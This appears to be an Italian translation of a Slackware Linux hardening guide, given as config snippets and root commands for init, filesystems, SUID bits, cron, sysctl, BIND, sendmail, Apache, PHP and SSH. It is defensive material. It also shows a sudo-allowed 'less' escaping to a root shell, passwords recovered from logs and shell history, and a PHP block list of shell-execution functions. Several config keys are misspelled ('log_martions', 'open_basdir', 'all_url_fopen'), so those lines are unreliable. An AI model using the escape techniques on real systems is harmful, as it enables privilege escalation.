[Xdmcp] Enable=false Port=0 Willing= [X-*-Core] AllowRootLogin=false AllowNullPasswd=false AllowShutdown=Root AllowSdForceNow=Root UseSessReg=true [X-:*-Core] ServerArgsLocal=-nolisten tcp AllowNullPasswd=false AllowShutdown=Root NoPassEnable=false #NoPassUsers= [X-:0-Core] AutoLoginEnable=false #AutoLoginUser= #AutoLoginPass=
less /opt/kde/share/doc/kdm/README
/opt/kde/share/config/kdm/Xstartup:
Decommentare le righe seguenti:
chown $USER /dev/console exec sessreg -a -l $DISPLAY -h "`echo $DISPLAY | cut -d: -f1`" $USER
/opt/kde/share/config/kdm/Xreset:
Decommentare le righe seguenti:
chown root /dev/console chown 622 /dev/console exec sessreg -d -l $DISPLAY -h "`echo $DISPLAY | cut -d: -f1`" $USER
/opt/kde/share/config/kdm/Xaccess:
Decommentare le righe seguenti:
#* #any host can get a login window #* CHOOSER BROADCAST #any indirect host can get a chooser
Liste di controllo accessi:
Da fare
man acl man setfacl man getfacl
/etc/inittab:
Commentare la seguente riga:
#ca::ctraltdel:/sbin/shutdown -t5 -r now root@darkstar:~# telinit q
Allo stato delle cose non penso che quanto di seguito riportatp sia necessario, ma è stato comunque incluso perchè quasi tutti i documenti relativi alla sicurezza su Linux lo raccomandano. Tale impostazione impedisce agli utenti di riavviare il sistema utilizzando la combinazione di tasti Ctrl-Alt-Del. Il riavvio del sistema con Ctrl-Alt-Del funziona unicamente se si ha accesso fisico alla macchina. Comunque anche se disabilitate questa funzionalità, nulla impedisce a qualcuno di staccare l'alimentatore o di premere il pulsante di reset del sistema per forzare un riavvio della macchina. La maggior parte dei window managers blocca comunque il Ctrl-Alt-Del.
L'unica occasione in cui disabilitare l'impostazione precedente è proficuo è quando si ha un amministratore di Windows che utilizza Linux. In questo caso infatti non volete che riavviino il sistema tutte le volte che desiderano bloccare il sistema o utilizzare Task Manager.
O potete utilizzare /etc/shutdown.allow per controllare quando (non sempre invece da chi) il sistema può essere riavviato con la combinazione di tasti Ctrl-Alt-Del. Vi sono tuttavia preoccupazioni in termini di sicurezza. Controllate la pagina di man per gli ulteriori dettagli relativi a shutdown.
Aggiungete l'opzione "-a" alla seguente riga di /etc/inittab per utilizzare /etc/shutdown.allow:
ca::ctraltdel:/sbin/shutdown -t5 -r now -a root@darkstar:~# telinit q
Se utilizzate spesso i cosiddetti terminali stupidi, decommentate la seguente riga:
s1:12345:respawn:/sbin/agetty -L ttyS0 9600 vt100 root@darkstar:~# telinit q
man init man inittab man initscript man shutdown man telinit
/etc/shutdown.allow:
dentonj
man shutdown
/etc/securetty:
Assicuratevi che solo le seguenti voci siano decommentate:
console tty1 tty2 tty3 tty4 tty5 tty6
man securetty
umask:
Ci sono diverse modalità con cui impostare umask:
/etc/login.defs: UMASK 077
/etc/limits: * K077
/etc/profile: umask 077
Umask controlla i permessi assegnati ai nuovi file e directory che vengono creati. Ad esempio con umask 022, i nuovi file avranno i permessi 644 e le nuove directory i permessi 755. Impostare umask a 077 comporterà avere i nuovi file creati con i permessi 600 e le nuove directory con i permessi 700.
Utilizzare umask 077 impedisce agli altri account di accedere ai file di proprietà dell'utente. Utilizzare umask 022 permette agli altri account di accedere ai file utente a meno che tale utente non modifichino i permessi. Si può utilizzare cron al fine di rimuovere periodicamente i permessi dalle home directory degli utenti.
Impostare umask in maniera restrittiva può causare problemi nel momento in cui si creano o si modificano i file che necessitano di essere accessibili in lettura da parte di chiunque. Un esempio di file di questo tipo sono le pagine web presenti in /var/www/htdocs.
dentonj@darkstar:~$ type -a umask
man bash man umask man login.defs man limits
Filesystem
/etc/fstab:
/dev/hdb1 swap swap defaults 0 0 /dev/hdb5 / ext3 defaults 1 1 /dev/hdb6 /var ext3 rw,nosuid,nodev 0 2 /dev/hdb7 /tmp ext3 rw,nosuid,nodev,noexec 0 2 /dev/hdb8 /usr ext3 ro 0 2 /dev/hdb9 /home ext3 rw,nosuid,nodev 0 0 /dev/hda1 /mnt/windows vfat rw,nosuid,nodev,noexec,noauto 0 0 /dev/hda2 /mnt/slack ext2 rw,noauto 0 0 /dev/cdrom /mnt/cdrom auto noauto,owner,ro 0 0 /dev/fd0 /mnt/floppy auto noauto,owner 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 proc /proc proc defaults 0
root@darkstar:~# mkdir /mnt/windows root@darkstar:~# mkdir /mnt/slack root@darkstar:~# mkdir /mnt/floppy root@darkstar:~# mkdir /mnt/thumb
man fstab man nfs man mount
Solitamente aggiungo l'opzione "noexec" alla partizione /home, anche se questa impostazione è facilmente aggirabile. Inoltre utilizzo una directory /bin all'interno della /home per gli scripts.
dentonj@darkstar:~$ /lib/ld-linux.so.2 ./some_executable
man ld.so
/sbin/tune2fs:
Cambiare l'impostazione per cui fsck va in esecuzione ogni 22 avvii del sistema. Le nuove impostazioni regolano fsck ad essere eseguito solo ogni 6 mesi. Se si vuole eseguire il controllo del file system in maniera più frequente, modificare come necessario.
root@darkstar:~# tune2fs -l /dev/hdb5 root@darkstar:~# for i in hdb5 hdb6 hdb7 hdb8 hdb9; do > tune2fs -c 0 /dev/$i > done root@darkstar:~# tune2fs -l /dev/hdb5
man tune2fs man fsck
/usr/bin/chattr:
Rendere i file seguenti non modificabili:
- scripts di init/rc
- file di configurazione della shell, d'ambiente e di login
- file delle password
- file di configurazione del server
- eseguibili suid/sgid
- eseguibili che comunemente possono essere sostituiti con backdoor/trojan
for i in `ls /etc/rc.d`; do chattr +i /etc/rc.d/$i done
for i in `ls /etc/apache`; do chattr +i /etc/apache/$i done
for i in `ls /etc/mail`; do chattr +i /etc/mail/$i done
find / -type f \( -perm -4000 -o -perm -2000 \) -exec chattr +i {} \;
chattr +i /etc/at.deny chattr +i /etc/exports chattr +i /etc/ftpusers chattr +i /etc/host.conf chattr +i /etc/hosts chattr +i /etc/hosts.allow chattr +i /etc/hosts.deny chattr +i /etc/hosts.equiv chattr +i /etc/hosts.lpd chattr +i /etc/inetd.conf chattr +i /etc/inittab chattr +i /etc/lilo.conf chattr +i /etc/login.access chattr +i /etc/login.defs chattr +i /etc/named.conf chattr +i /etc/porttime chattr +i /etc/profile chattr +i /etc/protocols chattr +i /etc/securetty chattr +i /etc/services chattr +i /etc/suauth chattr +i /home/dentonj/.forward chattr +i /home/dentonj/.netrc chattr +i /home/dentonj/.rhosts chattr +i /home/dentonj/.shosts
less /usr/local/sbin/chkrootkit /TROJAN chattr +i <i comandi elencati nella variabile TROJAN>
Questa lista potrebbe essere molto più estesa.
root@darkstar:~# chmod go-rwx /usr/bin/chattr /usr/bin/lsattr
man chattr
lcap:
DA FARE - mostrare dove si trova e come fare a compilarlo.
Non compilare il parametro del kernel CAP_LINUX_IMMUTABLE. Ciò impedisce che sia rimosso l'attributo +i. Io eseguo 'lcap' solitamente dallo script rc.local, che deriva a sua volta da rc.M. Per rimuovere l'attributo +i da un file, occorre riavviare il sistema e accedere in modalità "single user". Di fatto questa è una delle rare occasioni in cui occorre che realmente Linux sia riavviato.
Utilizzare lcap nel caso in cui accediate o gestiate il sistema da remoto, può causare dei problemi.
Nota: Applicate queste impostazioni solo dopo avere finito di configurare il vostro sistema.
/etc/rc.d/rc.local:
/usr/local/sbin/lcap CAP_LINUX_IMMUTABLE
root@darkstar:~# touch /tmp/test root@darkstar:~# chattr +i /tmp/test root@darkstar:~# lsattr /tmp/test ----i-------- /tmp/test root@darkstar:~# cd root@darkstar:~# lcap CAP_LINUX_IMMUTABLE root@darkstar:~# chattr -i /tmp/test chattr: Operation not permitted while setting flags on /tmp/test root@darkstar:~# lcap Current capabilities: 0xFFFFFCFF 0) *CAP_CHOWN 1) *CAP_DAC_OVERRIDE 2) *CAP_DAC_READ_SEARCH 3) *CAP_FOWNER 4) *CAP_FSETID 5) *CAP_KILL 6) *CAP_SETGID 7) *CAP_SETUID 8) CAP_SETPCAP 9) CAP_LINUX_IMMUTABLE 10) *CAP_NET_BIND_SERVICE 11) *CAP_NET_BROADCAST 12) *CAP_NET_ADMIN 13) *CAP_NET_RAW 14) *CAP_IPC_LOCK 15) *CAP_IPC_OWNER 16) *CAP_SYS_MODULE 17) *CAP_SYS_RAWIO 18) *CAP_SYS_CHROOT 19) *CAP_SYS_PTRACE 20) *CAP_SYS_PACCT 21) *CAP_SYS_ADMIN 22) *CAP_SYS_BOOT 23) *CAP_SYS_NICE 24) *CAP_SYS_RESOURCE 25) *CAP_SYS_TIME 26) *CAP_SYS_TTY_CONFIG * = Capabilities currently allowed
/etc/cron.*:
root@darkstar:~# chmod -R go-rwx /etc/cron.*
/etc/rc.d:
Gli scripts di avvio del sistema sono, di default, leggibili da chiunque.
root@darkstar:~# chmod -R go-rwx /etc/rc.d/
$HOME:
Limitare l'accesso alle directory $HOME:
root@darkstar:~# chmod -R go-wrx /home/dentonj root@darkstar:~# chmod -R go-rwx /root
man chmod
/var/log:
Limitare l'accesso ai logs:
root@darkstar:~# chmod -R o-rwx /var/log
I seguenti file dovrebbero essere vuoti nel caso in cui esistano:
/etc/X0.hosts /etc/d_passwd /etc/dialups /etc/environment /etc/exports /etc/hosts.lpd /etc/hosts.equiv /etc/ssh/shosts.equiv ~/.forward ~/.netrc ~/.rhosts ~/.shosts
File che di norma non dovrebbero esistere:
/etc/fastboot /etc/forcefsck /etc/hushlogins /etc/initrunlvl /etc/initscript /etc/nologin /etc/powerstatus /etc/upsstatus ~/.hushlogin
Trovare file e directory SUID/SGID:
root@darkstar:~# find / -type f \( -perm -4000 -o -perm -2000 \) \ > -ls > suid_files.out root@darkstar:~# find / -type d \( -perm -4000 -o -perm -2000 \) \ > -ls > suid_dirs.out
Trovare file e directory accessibili in scrittura dal gruppo e da tutti gli altri utenti:
root@darkstar:~# find / -type f \( -perm -2 -o -perm -20 \) \ > -ls > write_files.out root@darkstar:~# find / -type d \( -perm -2 -o -perm -20 \) \ > -ls > write_dirs.out
SUID/SGID:
Rimuovere il bit SUID o SGID dai seguenti file:
chmod u-s /usr/bin/at chmod u-s /usr/bin/chage chmod u-s /usr/bin/chfn chmod u-s /usr/bin/chsh chmod u-s /usr/bin/crontab chmod u-s /usr/bin/expiry chmod u-s /usr/bin/gpasswd chmod u-s /usr/bin/lppasswd chmod u-s /usr/bin/newgrp chmod u-s /usr/bin/rcp chmod u-s /usr/bin/rlogin chmod u-s /usr/bin/rsh chmod u-s /usr/libexec/ssh-keysign
man chmod
Shell Escapes:
Di seguito un elenco di programmi che possono portare ad ottenere una shell. Questo può essere fatto o direttamente avviando una nuova shell, eseguendo comandi di shell o avviando un editor di testo che può a sua volta essere utilizzato per avviare la shell.
Questi programmi non sono fonte di preoccupazione in termini di security in quanto tali. Tuttavia se sono impostati SUID root o se vengono utilzzati ricorrendo a sudo, possono consentire agli utenti di ottenere l'accesso ad una shell con privilegi amministrativi.
/etc/sudoers:
dentonj ALL = (ALL) /usr/bin/less /var/log/messages
Avvio di una nuova shell:
dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages Password: <contents of /var/log/messages> ! bash-3.00#
Aprire un editor che può avviare una nuova shell:
dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages Password: <contents of /var/log/messages> v :sh bash-3.00#
Assicuratevi che i file seguenti non siano impostati con il bit SUID e che non appartengano a root. Assicuratevi inoltre che non finiscano in /etc/sudoers. L'elenco che segue non è esaustivo:
/bin/ed /bin/more /usr/bin/bzmore /usr/bin/crontab -e /usr/bin/cscope /usr/bin/cu /usr/bin/cvs -e /usr/bin/cvsbug /usr/bin/elm /usr/bin/elvis /usr/bin/ex /usr/bin/flea /usr/bin/gccbug /usr/bin/gdb /usr/bin/less /usr/bin/lftp /usr/bin/mailto /usr/bin/mc /usr/bin/mcedit /usr/bin/mcview /usr/bin/mutt /usr/bin/mysql /usr/bin/mysqlbug /usr/bin/nail /usr/bin/ncftp /usr/bin/newspost /usr/bin/nn /usr/bin/perlbug /usr/bin/pilot /usr/bin/pine /usr/bin/pg /usr/bin/rpcclient /usr/bin/sdiff /usr/bin/slrn /usr/bin/smbclient /usr/bin/tin /usr/bin/trn /usr/bin/uupick /usr/bin/vim /usr/bin/zmore
Un paio di esempi di comandi che è possibile utilizzare per verificare quali comandi permettono l'esecuzione di una shell.
root@darkstar:~# cd /usr/bin && for i in `ls | grep -v "@$"`; do > echo " $i" > strings $i | grep -e "VISUAL|EDITOR" > done | less root@darkstar:~# cd /usr/man/man1 && zgrep -E \ > "\!.*command|execute.*command" *
Trovare e rimuovere link simbolici inattivi:
find / -type l -print | perl -nle '-e || print'
Rete
/etc/rc.d/rc.local:
# Stop arp spoofing used to sniff switched networks # Set a static ARP entry for the default gateway arp -s 192.168.1.1 00:00:FE:ED:FA:CE # Set a static ARP entry for the log host arp -s 192.168.1.2 00:00:DE:AD:BE:EF
/etc/rc.d/rc.firewall:
Il file /etc/rc.d/rc.inet2 controlla l'esistenza dello script rc.firewall e poi lo esegue. Create uno script per il firewall e mettetelo qui.
Cron
/etc/cron.daily/ntpdate:
#!/bin/sh /usr/sbin/ntpdate clock.via.net && /sbin/hwclock --systohc
root@darkstar:~# chmod 700 /etc/cron.daily/ntpdate
/etc/cron.daily/cleanup:
#!/bin/sh /usr/bin/find / -type f -name core -exec /bin/rm -f {} \; /usr/bin/find /tmp -atime +7 -exec /bin/rm -f {} \; /usr/bin/find /var/tmp -atime +7 -exec /bin/rm -f {} \;
root@darkstar:~# chmod 700 /etc/cron.daily/cleanup
/etc/cron.daily/paranoid:
#!/bin/sh /bin/chmod -R go-rwx /home/dentonj /bin/chmod -R go-rwx /root /bin/chmod -R o-rwx /var/log /bin/rm -f /home/dentonj/dead.letter
root@darkstar:~# chmod 700 /etc/cron.daily/paranoid
/var/spool/cron/crontabs/root:
0 3 * * * /usr/bin/find /home -name .rhosts -o -name .forward -ls
Cron dovrebbe inviare i risultati a root.
root@darkstar:~# crontab -l root@darkstar:~# crontab -e
man crond man crontab
/etc/at.allow:
root@darkstar:~# rm /etc/at.deny root@darkstar:~# touch /etc/at.allow
Non consentite a tutti di utilzzare at.
Ancora meglio sarebbe rimuovere il pacchetto at dal sistema:
root@darkstar:~# removepkg at
man at
Bash
~/.bash_history:
Impostare il file relativo alla cronologia dei comandi della shell in modo tale che possa essere solo "appended" ma non cancellato da un utente.
root@darkstar:~# chattr +a /home/dentonj/.bash_history root@darkstar:~# chmod go-wrx /usr/bin/chattr /usr/bin/lsattr
man chattr man lsattr man chmod
~/.bash_profile:
trap 'test -n "$SSH_AGENT_PID" && eval `/usr/bin/ssh-agent -k`' 0
Kernel
/etc/sysctl.conf:
# Improve file system performance vm.bdflush = 60 64 64 256 500 300 80 0 0 # Increase swap bandwidth system performance vm.kswapd = 512 32 32 # Enables/Disables memory over commitment vm.overcommit_memory = 0 # Increases number of page tables keeps in a per-processor cache vm.pagetable_cache = 25 50 # Increase limit of file-handles fs.file-max = 8192 # Enable/Disable ignoring ping request net.ipv4.icmp_echo_ignore_all = 1 # Enable/Disable ignoring broadcasts request net.ipv4.icmp_ignore_broadcasts = 1 # Enable/Disable IP source routing net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.default.accept_source_route = 0 # Enable/Disable TCP SYN cookie protection net.ipv4.tcp_syncookies = 1 # Enable/Disable ICMP redirect acceptance net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.default.accept_redirects = 0 # Enable/Disable bad error message protection net.ipv4.icmp_ignore_bogus_error_responses = 1 # Enable/Disable IP spoofing protection net.ipv4.conf.all.rp_filter = 2 net.ipv4.conf.default.rp_filter = 2 # Enable/Disable log spoofed, source routed,redirect packets net.ipv4.conf.all.log_martians = 1 net.ipv4.conf.default.log_martions = 1 # Improve shared memory size kernel.shmall = 134217728 kernel.shmmax = 134217728 # Improve default and maximum window sizes net.core.vmem_max = 2048000 net.core.vmem_default = 204800 # Enable packet forwarding net.ipv4.ip_forward = 0 # Change the default TTL to help obscure OS fingerprinting net.ipv4.ip_default_ttl = 128
root@darkstar:~# sysctl -p /etc/sysctl.conf root@darkstar:~# sysctl -A
Queste sono già delle impostazioni riscontrabili in /etc/rc.d/rc.S che regolano quelle relative a sysctl localizzate in questo file durante la fase di boot.
man sysctl man sysctl.conf
/etc/rc.d/rc.modules:
Elenca i moduli del kernel che sono caricati dal sistema durante la fase di avvio. Decommentate quelli che vi pare non siano necessari per il vostro sistema.
root@darkstar:~# grep -v "^#\|^$" /etc/rc.d/rc.modules
Grsecurity:
DA FARE
Rimuovere il supporto per i moduli del kernel:
Dal numero di Phrack 25-5, "Unix Cracking Tips":
"Di seguito alcuni suggerimenti su come installare delle backdoors dopo che avete ottenuto accesso al sistema in qualità di super utente e desideriate rimanere tale:
. . . - Installare nuove chiamate di sistema . . .
Poi leggete il numero di Phrack 52-8, "Weakening the Linux Kernel" e quindi ricompilate il vostro kernel rimuovendo il supporto per i moduli.
CONFIG_MODULES=n
Varie
/etc/inputrc:
set bell-style none set mark-directories on set mark-modified-lines on set match-hidden-files on set show-all-if-ambiguous on set visible-stats on
man bash man readline
Pacchetti da rimuovere:
root@darkstar:~# removepkg nn root@darkstar:~# removepkg slrn root@darkstar:~# removepkg uucp root@darkstar:~# removepkg strace root@darkstar:~# removepkg gdb root@darkstar:~# removepkg nc root@darkstar:~# removepkg nmap root@darkstar:~# removepkg at
Questo elenco dovrebbe essere molto più esteso.
/etc/rc.d/rc.local:
# This is hard drive specific, your settings will vary /usr/sbin/hdparm -c3 -a16 -W1 -u1 /dev/hdb # Turn on NumLock /usr/bin/setleds -D +num
Effettuare un backup dei comandi solitamente utilizzati come backdoor:
Effettuare tale copia unicamente dopo una nuova installazione. Effettuare delle copie di eseguibili già modificati in backdoor non ha molto senso. Se non disponete di una nuova installazione, copiate i comandi sotto riportati dal Live CD che accompagna la versione ufficiale di Slacware.
root@darkstar:~# mkdir bin
Copiate i seguenti comandi in /root/bin:
/bin/date /bin/du /bin/echo /bin/grep /bin/kill /bin/killall /bin/login /bin/ls /bin/netstat /bin/ps /bin/su /bin/tar /sbin/agetty /sbin/explodepkg /sbin/getty /sbin/ifconfig /sbin/installpkg /sbin/makepkg /sbin/pidof /sbin/removepkg /sbin/upgradepkg /usr/bin/basename /usr/bin/biff /usr/bin/chfn /usr/bin/chsh /usr/bin/crontab /usr/bin/dirname /usr/bin/env /usr/bin/find /usr/bin/lsattr /usr/bin/nail /usr/bin/passwd /usr/bin/pstree /usr/bin/ssh /usr/bin/top /usr/bin/traceroute /usr/bin/write /usr/sbin/gpm /usr/sbin/hdparm /usr/sbin/in.fingerd /usr/sbin/in.identd /usr/sbin/in.rlogind /usr/sbin/in.rshd /usr/sbin/in.telnetd /usr/sbin/in.timed /usr/sbin/inetd /usr/sbin/ipop3d /usr/sbin/named /usr/sbin/rpcinfo /usr/sbin/sendmail /usr/sbin/sshd /usr/sbin/syslogd /usr/sbin/tcpd
root@darkstar:~# cd bin root@darkstar:~/bin# md5sum * >> md5sum root@darkstar:~/bin# cd root@darkstar:~# tar zcvf bin.tar.gz ./bin root@darkstar:~# cp bin.tar.gz /mnt/thumb
Sarebbe buona norma eseguire `chattr +i ...` su tutti i file originali.
Password contenute nei file di log e nella cronologia:
Non è infrequente che un utente commetta uno sbaglio effettuando il login o cambiando tipo di utente, digitando la password nel posto sbagliato. Fate attenzione che la pratica del "dumpster diving" nel log di sistema e all'interno di altri file di cronologia degli utenti è una pratica diffusa tra i malintenzionati che desiderano procurarsi delle password. Tenetelo presente quando decidete di conservare 6 mesi di log sul sistema o quando impostate HISTFILESIZE to a $LARGENUMBER.
root@darkstar:~# lastb P@ssw0rd1! Fri Jun 23 19:04 - 19:04 (00:00) dentonj Fri Jun 23 19:03 - 19:03 (00:00)
root@darkstar:~# less /home/dentonj/.bash_history <contents of .bash_history> /us <-- type this to search for "us" us - !QAZzaq1
/etc/wgetrc:
Ignorare il file robots.txt presente sui web servers.
robots = off
Hardening dei Programmi
/usr/sbin/atalkd:
DA FARE
/etc/netatalk/atalkd.conf:
/etc/netatalk/afpd.conf:
/etc/netatalk/AppleVolumes.default:
/etc/netatalk/AppleVolumes.system:
/etc/netatalk/netatalk.conf:
/etc/netatalk/papd.conf:
man afpd man afpd.conf man AppleVolumes.default man atalkd man atalkd.conf man netatalk.conf man papd
/usr/sbin/named:
/etc/named.conf: acl "allowed" { localhost; 192.168.1.0/24; }; acl "denied" { 0.0.0.0/8; 1.0.0.0/8; 2.0.0.0/8; 192.0.2.0/24; 224.0.0.0/3; 169.254.0.0/16; 10.0.0.0/8; 172.16.0.0/12; //192.168.0.0/16; }; key "rndc-key" { algorithm hmac-md5; secret "Thisisafakekey=="; }; controls { inet 127.0.0.1 port 953 allow { 127.0.0.1; } keys { "rndc-key"; }; }; options { directory "/var/named"; allow-transfer { none; }; allow-query { allowed; }; allow-recursion { allowed; }; blackhole { denied; }; tcp-clients 32; forwarders { 1.2.3.4; 5.6.7.8; }; version "Not available"; }; logging { category lame-servers { null; }; }; zone "." IN { type hint; file "caching-example/named.ca"; }; zone "localhost" IN { type master; file "caching-example/named.local"; allow-update { none; }; notify no; }; zone "0.0.127.in-addr.arpa" IN { type master; file "caching-example/named.local"; allow-update { none; }; notify no; }; /etc/rndc.conf: key "rndc-key" { algorithm hmac-md5; secret "Thisisafakekey=="; }; options { default-key "rndc-key"; default-server 127.0.0.1; default-port 953; };
Per generare le chiavi per rndc:
root@darkstar:~# rndc-confgen -b 512
Per controllare la configurazione:
root@darkstar:~# named-checkconf -z zone localhost/IN: loaded serial 42 zone 0.0.127.in-addr.arpa/IN: loaded serial 1997022700 root@darkstar:~# named-checkzone localhost \ /var/named/caching-example/localhost.zone zone localhost/IN: loaded serial 42 OK root@darkstar:~# named-checkzone 0.0.127.in-addr.arpa \ /var/named/caching-example/named.local zone 0.0.127.in-addr.arpa/IN: loaded serial 1997022700 OK root@darkstar:~# named-checkzone . /var/named/caching-example/named.ca zone ./IN: has 0 SOA records root@darkstar:~# chmod 700 /etc/rc.d/rc.bind root@darkstar:~# /etc/rc.d/rc.bind start root@darkstar:~# rndc status
man named man named-checkconf man named-checkzone man rndc man rndc.conf man rndc-confgen man lwresd
TODO - Chroot
/usr/sbin/sendmail:
/etc/mail/sendmail.cf:
#O DontBlameSendmail=Safe O MaxHopCount=25 O HelpFile=/etc/issue.net O ForwardPath=/etc/forward O LogLevel=15 #O DaemonPortOptions=Name=MTA #O DaemonPortOptions=Port=587,Name=MSA,M=E O DaemonPortOptions=Address=127.0.0.1 O ClientPortOptions=Family=inet,Address=127.0.0.1 O PrivacyOptions=goaway,noreceipts,restrictmailq,restrictqrun,restrictexpand,noetrn,nobodyreturn O Timeout.ident=0 O SmtpGreetingMessage=$j Unauthorized Access Prohibited. O AllowBogusHELO=False O UnsafeGroupWrites=True O RrtImpliesDSN=False $.by $j with id $i$?{tls_version}
root@darkstar:~# touch /etc/forward
$HOME/.forward:
Il file .forward permette agli utenti di inoltrare facilmente le email. Tuttavia il file può essere anche utilizzato per eseguire un programma ogni qualvolta sia ricevuta una mail. Vi sono diverse modalità per disabilitare l'utilizzo del file .forward.
Impostare l'opzione ForwardPath in maniera tale che punti a qualcosa di diverso rispetto al default. In pratica l'opzione deve essere impostata, altrimenti sendmail imposta il ForwardPath a $HOME/.forward.
O ForwardPath=/etc/forward
Potete permettere ai programmi di essere eseguiti, ma restringetene il set utilizzando smrsh.
Potete disabilitare l'inoltro in sendmail tutto insieme. Tuttavia alcune conseguenze poco piacevoli si possono verificare.
Cancellate il flag "w" dalla riga presente in /etc/mail/sendmail.cf:
Mlocal, P=/usr/bin/procmail, F=lsDFMAw5:/|@qSPfhn9, S=..... Mlocal, P=/usr/bin/procmail, F=lsDFMA5:/|@qSPfhn9, S=.....
Potete provare a far creare e a detenere il file .forward all'utente root all'interno di ciascuna delle home directory degli utenti del sistema. Tuttavia gli utenti possono spostare il file .forward e crearne uno nuovo.
root@darkstar:~# touch /home/dentonj/.forward dentonj@darkstar:~$ ls -l .forward -rw-r--r-- 1 root root 0 2001-06-27 20:17 .forward dentonj@darkstar:~$ mv .forward .forward.moved dentonj@darkstar:~$ ls -l .forward.moved -rw-r--r-- 1 root root 0 2001-06-27 20:17 .forward.moved
Comunque rendere il file non modificabili previene questo comportamento.
root@darkstar:~# touch /home/dentonj/.forward root@darkstar:~# chattr +i /home/dentonj/.forward root@darkstar:~# lsattr /home/dentonj/.forward ----i-------- /home/dentonj/.forward root@darkstar:~# chmod go-rwx /usr/bin/chattr /usr/bin/lsattr dentonj@darkstar:~$ ls -l .forward -rw-r--r-- 1 root root 0 2001-06-27 20:19 .forward dentonj@darkstar:~$ mv .forward .forward.moved mv: cannot move `.forward' to `.forward.moved': Operation not permitted
/usr/sbin/smrsh:
DA FARE
/etc/mail/aliases:
Sono solito commentare la maggior parte di ciò che segue. Sono molto interessato a sapere se qualcuno realmente prova ad inviare una mail a qualcuno di questi.
postmaster: root, dentonj bin: root, dentonj daemon: root, dentonj games: root, dentonj ingres: root, dentonj nobody: root, dentonj system: root, dentonj toor: root, dentonj uucp: root, dentonj manager: root, dentonj dumper: root, dentonj webmaster: root, dentonj abuse: root, dentonj decode: root, dentonj
Aggiungere ogni eventuale accounti di sistema presente in /etc/passwd:
admin: root, dentonj ftp: root, dentonj mail: root, dentonj mysql: root, dentonj smmsp: root, dentonj sshd: root, dentonj
root@darkstar:~# newaliases
man aliases man newaliases
Se avete bisogno di eseguire sendmail per la posta locale, utilizzate cron.
root@darkstar:~# /etc/rc.d/rc.sendmail stop root@darkstar:~# chmod 600 /etc/rc.d/rc.sendmail
/etc/cron.hourly/mqueue
#!/bin/sh /usr/sbin/sendmail -q
root@darkstar:~# chmod 700 /etc/cron.hourly/mqueue
man crond
/usr/sbin/httpd:
root@darkstar:~# groupadd -g 80 http root@darkstar:~# useradd -u 80 -g 80 http
/etc/apache/httpd.conf:
#LoadModule includes_module libexec/apache/mod_include.so #LoadModule autoindex_module libexec/apache/mod_autoindex.so #LoadModule speling_module libexec/apache/mod_speling.so #LoadModule userdir_module libexec/apache/mod_userdir.so #LoadModule anon_auth_module libexec/apache/mod_auth_anon.so #LoadModule digest_module libexec/apache/mod_digest.so #LoadModule proxy_module libexec/apache/mod_proxy.so #LoadModule cern_meta_module libexec/apache/mod_cern_meta_module.so #LoadModule usertrack_module libexec/apache/mod_usertrack.so #LoadModule unique_id_module libexec/apache/mod_unique_id.so #AddModule mod_includes.c #AddModule mod_autoindex.c #AddModule mod_speling.c #AddModule mod_userdir.c #AddModule mod_auth_anon.c #AddModule mod_digest.c #AddModule mod_proxy.c #AddModule mod_cern_meta.c #AddModule mod_usertrack.c #AddModule mod_unique_id.c User http Group http ServerAdmin root@localhost <Directory "/var/www/htdocs"> Options FollowSymLinks MultiViews UseCanonicalName Off LogLevel info LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %T" CustomLog /var/log/apache/access_log combined ServerSignature Off ServerTokens ProductOnly <Directory "/var/www/icons"> Options MultiViews #Alias /manual/ "/var/www/htdocs/manual/" #<Directory "/var/www/htdocs/manual"> # Options Indexes FollowSymLinks MultiViews # AllowOverride None # Order allow,deny # ALlow from all #</Directory> #ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" #<Directory "/var/www/cgi-bin"> # AllowOverride None # Options None # Order allow,deny # Allow from all #</Directory>
/etc/logrotate.d/httpd:
/var/log/apache/access_log /var/log/apache/error_log { create 0640 root root mail dentonj@gmail.com mailfirst sharedscripts postrotate /bin/kill -HUP `cat /var/run/httpd.pid \ 2> /dev/null || true` endscript }
dentonj@darkstar:~$ links /var/www/htdocs/manual/misc/security_tips.html
PHP:
Fortunatamente il PHP è disbilitato di default. Ci sono alcune impostazioni che potete adottare per impedire agli script kiddies di accedere tranquillamente al vostro sistema.
/etc/apache/httpd.conf:
Include /etc/apache/mod_php.conf
/etc/apache/php.ini:
display_errors = Off log_errors = On error_log = /var/log/apache/php_errors register_globals = Off variables_order = "ES" expose_php = Off all_url_fopen = Off open_basdir = /var/www disable_functions = system,exec,shell_exec,eval,include,require,include_once,require_once,preg_replace safe_mode = On safe_mode_include_dir = /usr/php/include safe_mode_exec_dir = /usr/php/bin safe_mode_gid = On safe_mode_allowed_env_vars = PHP_ safe_mode_protected_env_vars = LD_LIBRARY_PATH
root@darkstar:~# touch /var/log/apache/php_errors root@darkstar:~# mkdir -p /usr/php/include root@darkstar:~# mkdir /usr/php/bin
man httpd man php
/etc/ssh/ssh_config:
# Host * ForwardAgent no ForwardX11 no RhostsRSAAuthentication no RSAAuthentication no PasswordAuthentication yes HostbasedAuthentication no BatchMode no CheckHostIP yes AddressFamily any ConnectTimeout 0 StrictHostKeyChecking ask # IdentityFile ~/.ssh/identity IdentityFile ~/.ssh/id_rsa IdentityFile ~/.ssh/id_dsa Port 22 Protocol 2 # Cipher 3des # Ciphers aes256-cbc,aes256-ctr EscapeChar ~ Compression yes HashKnownHosts yes EnableSSHKeysign no LogLevel DEBUG PubkeyAuthenticaton yes ServerAliveInterval 60 ServerAliveCountMax 10 TCPKeepAlive no UserKnownHostsFile ~/.ssh/known_hosts
/etc/ssh/sshd_config
